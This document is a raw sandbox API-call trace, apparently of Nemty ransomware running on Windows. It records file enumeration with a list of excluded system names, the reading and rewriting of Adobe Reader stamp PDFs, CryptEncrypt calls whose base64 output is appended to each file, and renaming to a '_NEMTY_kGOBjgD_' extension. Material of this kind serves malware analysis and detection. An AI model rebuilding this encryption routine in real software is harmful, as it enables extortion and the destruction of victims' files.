(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.188] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0189.188] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0189.189] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0189.189] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.189] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0189.189] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0189.189] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.189] Sleep (dwMilliseconds=0x5) [0189.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x246a68b0, dwHighDateTime=0x1d561e8)) [0189.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x246a68b0, dwHighDateTime=0x1d561e8)) [0189.195] GetLastError () returned 0x0 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.195] GetLastError () returned 0x0 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.195] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.195] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="cUDqVKi9qcZz+xSfd7KkbISb/eXZM+pDEfeXRmNxq0Rpo8eoaYlijZmOnJrpygNM\r\nSBQOoDcLEmKSUzvW+vSJYBibcgO6IM+ylF62Ox3z/ky3JLG8dt78gRHfcEGHLHKj\r\nugnz9xJRrIUag/kR/6plB0SaKMaYNQAoXVjrzAoMd+ftRdl0VfT3Boivw0GABuwn\r\nG7Vz2au1OAL6/ADmlkixgn6SR9jqPF5ujvFjEEkFKDvpUdYcl68Xp9OigqUv+kYS\r\nippnZDg1CCOLvQbDa0c0lxCDi73sfLgMP+s+Tqqza6xTYV195u12O/Rf95J/N8Tt\r\nzce8lq9Mgbeg52wSWuyXJg==\r\n", pcchString=0x653df5c) returned 1 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.196] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0189.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0189.196] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.196] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0189.201] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.201] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0189.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.201] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0189.201] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.201] CloseHandle (hObject=0x320) returned 1 [0189.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.202] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.203] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4fff9, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.203] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.204] Sleep (dwMilliseconds=0x5) [0189.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x246cca10, dwHighDateTime=0x1d561e8)) [0189.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x246cca10, dwHighDateTime=0x1d561e8)) [0189.210] GetLastError () returned 0x0 [0189.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.210] GetLastError () returned 0x0 [0189.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.211] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.211] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="QQeO9t9SxsiYkmwerTnGwE8+qGOhq1Ye3R8xNyLKSQetK6ePVLwOEz810FW+sOoV\r\n3VZ+GjayljJEE+YxBN0To+b43HgiRyx0MtiC9vLSADHJdJhh1ILSb0jK9ClIfqHl\r\n1P28fHVxsEyjP+fc5CPtIvcd1u5U9LeBhWO2DJdPFMs84RnqYrZs4c6fx8hbOPyn\r\n7imNuiB9+uEsluLQGSeDzN7knT1jnyvaRcZl9ZjwEIPhxQO2TWbCOlA/GYLM3njT\r\nuhX6R3ur4AgetaAsCqBkUhTukdOIQjPBcyLnz11A/soo3RmHNfNniYTMGhjW1qvQ\r\nUI9dD/Dg39h6w1MPodyTMg==\r\n", pcchString=0x653df5c) returned 1 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.211] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=327673) returned 1 [0189.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.212] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.212] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.221] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.221] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.222] SetFilePointer (in: hFile=0x320, lDistanceToMove=327673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fff9 [0189.222] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.223] CloseHandle (hObject=0x320) returned 1 [0189.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 